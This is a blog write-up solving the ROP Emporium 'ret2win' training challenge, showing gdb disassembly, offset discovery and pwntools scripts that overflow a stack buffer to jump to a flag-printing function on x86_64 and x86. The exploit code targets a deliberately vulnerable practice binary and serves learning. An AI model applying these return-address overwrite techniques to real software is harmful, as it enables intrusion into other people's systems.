Buffer Overflow Attacks ROM Emporium Challenge Solutions Return Oriented Programming Buffer Overflow Attack

Return Oriented Programming – ret2win – ROP Emporium

As i promised, after covering some basics on Return Oriented Programming based Buffer OverFlow, i will continue posting the challenges from ROPEmporium to deep dive in the understanding of ROP based buffer overflow. It took me some time to solve the very first challenge as my environment was giving me hard time. Some of those python+pip issues on kali linux. Anyways, let’s go.

So for those who are not familiar with ROP Emporium challenges, it is really simple. You’ll get one binary and flag file. Your goal is to debug the binary, locate the vulnerable code and make sure you prepare a custom instruction set to call that vulnerable code within binary to print the flag.

Environment: For this challenge, I have installed PEDA – Python Exploit Development Assistance for GDB and Gef within my gdb. Although, during the offset calculation both were giving me different values so at one point I switch to calculating the offset using pattern_offset ruby module on kali. But I’d suggest to try your hands out on it.

Challenge One: ret2win

For this session, I am going to solve x86 and x86_64 binary. My exploit code is bit different for both. The x86_64 requires to point to return address to the function where as the x86 does not require that. We’ll look into it later.

x86_64 Platform Architecture

First, Let’s run the binary and see what happens.

┌──(ringbuffer㉿kali)-[~/Downloads/BufferOverFlow/ret2win]
└─$ ./ret2win     
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Hello this is test
Thank you!

Exiting

The binary takes input and returns nothing. It exit the process. All Right, we know we have got a place to input string. Let’s disassemble the main function

gdb-peda$ disas main
Dump of assembler code for function main:
   0x0000000000400697 <+0>:     push   rbp
   0x0000000000400698 <+1>:     mov    rbp,rsp
   0x000000000040069b <+4>:     mov    rax,QWORD PTR [rip+0x2009b6]  # 0x601058 <stdout@@GLIBC_2.2.5>
   0x00000000004006a2 <+11>:    mov    ecx,0x0
   0x00000000004006a7 <+16>:    mov    edx,0x2
   0x00000000004006ac <+21>:    mov    esi,0x0
   0x00000000004006b1 <+26>:    mov    rdi,rax
   0x00000000004006b4 <+29>:    call   0x4005a0 <setvbuf@plt>
   0x00000000004006b9 <+34>:    mov    edi,0x400808
   0x00000000004006be <+39>:    call   0x400550 <puts@plt>
   0x00000000004006c3 <+44>:    mov    edi,0x400820
   0x00000000004006c8 <+49>:    call   0x400550 <puts@plt>
   0x00000000004006cd <+54>:    mov    eax,0x0
   0x00000000004006d2 <+59>:    call   0x4006e8 <pwnme>
   0x00000000004006d7 <+64>:    mov    edi,0x400828
   0x00000000004006dc <+69>:    call   0x400550 <puts@plt>
   0x00000000004006e1 <+74>:    mov    eax,0x0
   0x00000000004006e6 <+79>:    pop    rbp
=> 0x00000000004006e7 <+80>:    ret
End of assembler dump.

Looking at the disassembly of the main functoin, we notice that the ‘pwnme’ function get called. Let’s disassemble it.

gdb-peda$ disas pwnme
Dump of assembler code for function pwnme:
   0x00000000004006e8 <+0>:     push   rbp
   0x00000000004006e9 <+1>:     mov    rbp,rsp
   0x00000000004006ec <+4>:     sub    rsp,0x20
   0x00000000004006f0 <+8>:     lea    rax,[rbp-0x20]
   0x00000000004006f4 <+12>:    mov    edx,0x20
   0x00000000004006f9 <+17>:    mov    esi,0x0
   0x00000000004006fe <+22>:    mov    rdi,rax
   0x0000000000400701 <+25>:    call   0x400580 <memset@plt>
   0x0000000000400706 <+30>:    mov    edi,0x400838
   0x000000000040070b <+35>:    call   0x400550 <puts@plt>
   0x0000000000400710 <+40>:    mov    edi,0x400898
   0x0000000000400715 <+45>:    call   0x400550 <puts@plt>
   0x000000000040071a <+50>:    mov    edi,0x4008b8
   0x000000000040071f <+55>:    call   0x400550 <puts@plt>
   0x0000000000400724 <+60>:    mov    edi,0x400918
   0x0000000000400729 <+65>:    mov    eax,0x0
   0x000000000040072e <+70>:    call   0x400570 <printf@plt>
   0x0000000000400733 <+75>:    lea    rax,[rbp-0x20]
   0x0000000000400737 <+79>:    mov    edx,0x38
   0x000000000040073c <+84>:    mov    rsi,rax
   0x000000000040073f <+87>:    mov    edi,0x0
   0x0000000000400744 <+92>:    call   0x400590 <read@plt>
   0x0000000000400749 <+97>:    mov    edi,0x40091b
   0x000000000040074e <+102>:   call   0x400550 <puts@plt>
   0x0000000000400753 <+107>:   nop
   0x0000000000400754 <+108>:   leave
   0x0000000000400755 <+109>:   ret
End of assembler dump.


gdb-peda$ x/s 0x400838
0x400838:       "For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!"
gdb-peda$ x/s 0x400550
0x400550 <puts@plt>:    "\377%\302\n "
gdb-peda$ x/s 0x400898
0x400898:       "What could possibly go wrong?"
gdb-peda$ x/s 0x4008b8
0x4008b8:       "You there, may I have your input please? And don't worry about null bytes, we're using read()!\n"
gdb-peda$ x/s 0x0000000000400737
0x400737 <pwnme+79>:    "\2728"
gdb-peda$ x/s 0x40091b
0x40091b:       "Thank you!"

Looking at the couple of values that ‘mov’ to edi registers tells me that there are strings presents in the program. Let’s list out the functions to make sure we are not missing any other function dump.

If you notice, I am using “x/s” following by the memory address. There are two commands within gdb. x/x and x/s. The x/x following by the memory address returns the hexadecimal form of what’s holding at the location whereas x/s following by the memory address returns the string-form of what’s holding at the location.

gdb-peda$ info function
All defined functions:

Non-debugging symbols:
0x0000000000400528  _init
0x0000000000400550  puts@plt
0x0000000000400560  system@plt
0x0000000000400570  printf@plt
0x0000000000400580  memset@plt
0x0000000000400590  read@plt
0x00000000004005a0  setvbuf@plt
0x00000000004005b0  _start
0x00000000004005e0  _dl_relocate_static_pie
0x00000000004005f0  deregister_tm_clones
0x0000000000400620  register_tm_clones
0x0000000000400660  __do_global_dtors_aux
0x0000000000400690  frame_dummy
0x0000000000400697  main
0x00000000004006e8  pwnme
0x0000000000400756  ret2win
0x0000000000400780  __libc_csu_init
0x00000000004007f0  __libc_csu_fini
0x00000000004007f4  _fini

Hmm…ret2win seems interesting from the functions list. Let’s disassemble it.

gdb-peda$ disas ret2win
Dump of assembler code for function ret2win:
   0x0000000000400756 <+0>:     push   rbp
   0x0000000000400757 <+1>:     mov    rbp,rsp
   0x000000000040075a <+4>:     mov    edi,0x400926
   0x000000000040075f <+9>:     call   0x400550 <puts@plt>
   0x0000000000400764 <+14>:    mov    edi,0x400943
   0x0000000000400769 <+19>:    call   0x400560 <system@plt>
   0x000000000040076e <+24>:    nop
   0x000000000040076f <+25>:    pop    rbp
   0x0000000000400770 <+26>:    ret
End of assembler dump.

gdb-peda$ x/s 0x400926
0x400926:       "Well done! Here's your flag:"
gdb-peda$ x/s 0x400943
0x400943:       "/bin/cat flag.txt"

okay so the function ret2win contains the string call ‘/bin/cat flag.txt’ which will print out the flag. Our main goal here is to print the flag. Now we need to find an offset. To find an offset, I will use the pattern_create ruby module on kali linux.

┌──(ringbuffer㉿kali)-[~/Downloads/BufferOverFlow/ret2win]
└─$ `locate pattern_create` -l 100                     
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A


(gdb) run
Starting program: /home/ringbuffer/Downloads/BufferOverFlow/ret2win/ret2win 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Thank you!

Program received signal SIGSEGV, Segmentation fault.
0x0000000000400755 in pwnme ()
(gdb) 8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
Undefined command: "8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A".  Try "help".
(gdb) i r
rax            0xb                 11
rbx            0x7fffffffde78      140737488346744
rcx            0x7ffff7ec1b00      140737352833792
rdx            0x0                 0
rsi            0x7ffff7f9e803      140737353738243
rdi            0x7ffff7f9fa30      140737353742896
rbp            0x4132624131624130  0x4132624131624130
rsp            0x7fffffffdd58      0x7fffffffdd58
r8             0x4007f0            4196336
r9             0x7ffff7fcfb10      140737353939728
r10            0x7ffff7dd9b08      140737351883528
r11            0x202               514
r12            0x0                 0
r13            0x7fffffffde88      140737488346760
r14            0x0                 0
r15            0x7ffff7ffd000      140737354125312
rip            0x400755            0x400755 <pwnme+109>
eflags         0x10206             [ PF IF RF ]
cs             0x33                51
ss             0x2b                43
ds             0x0                 0
es             0x0                 0
fs             0x0                 0
gs             0x0                 0
(gdb) 

                                                                                                                                                  
┌──(ringbuffer㉿kali)-[~/Downloads/BufferOverFlow/ret2win]
└─$ `locate pattern_offset` -q 0x4132624131624130 -l 100
[*] Exact match at offset 32

So we have our offset 32 and padding will be 8 byte makes it 40. Here’s how the stack will look like:

Here’s how the ret2win function call stack look like:

All Right Let me form an exploit now.

from pwn import *                // Importing pwntools library
p = process('./ret2win')         // Setting up the name of the process
buff = b"A"*40                   // 40 Bytes overriding including padding
ret2win_process_addr = p64(0x0000000000400756) //ret2win process address
ret_to_pwnme = p64(0x0000000000400755)        //returning control to pwnme
payload = buff + ret_to_pwnme + ret2win_process_addr
p.sendline(payload)
print(p.recvall().decode())

So if you look at the above exploit, there are two important things. Setting up address of the ret2win as well as pwnme function. We can grab the address of those to function directly from GDB as follows:

(gdb) p ret2win
$1 = {<text variable, no debug info>} 0x400756 <ret2win>
(gdb) p pwnme
$2 = {<text variable, no debug info>} 0x4006e8 <pwnme>

My exploit for x86_64 platform architecture requires me to manually returns the control back to the pwnme function otherwise the I was not able to obtain the flag. Let’s run the exploit to get our flag.

└─$ python exploit.py  
[+] Starting local process './ret2win': pid 291235
[+] Receiving all data: Done (329B)
[*] Process './ret2win' stopped with exit code 0 (pid 291235)
ret2win by ROP Emporium
x86_64

For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!

> Thank you!
Well done! Here's your flag:
ROPE{a_placeholder_32byte_flag!}

X86 Architecture

from pwn import *
p = process('./ret2win32')
payload = b"A"*44
payload += p64(0x0804862c)
p.sendline(payload)
p.interactive()

Looking at the exploit above, I have a different offset (44) and the p64(0x0804862c) points to the ret2win function call address. This was pretty simple and I just had to find to correct offset, points to ret2win function and grab the flag. Here’s the outcome of the exploit.

Thank you,

@ringbuffer

Some of the latest posts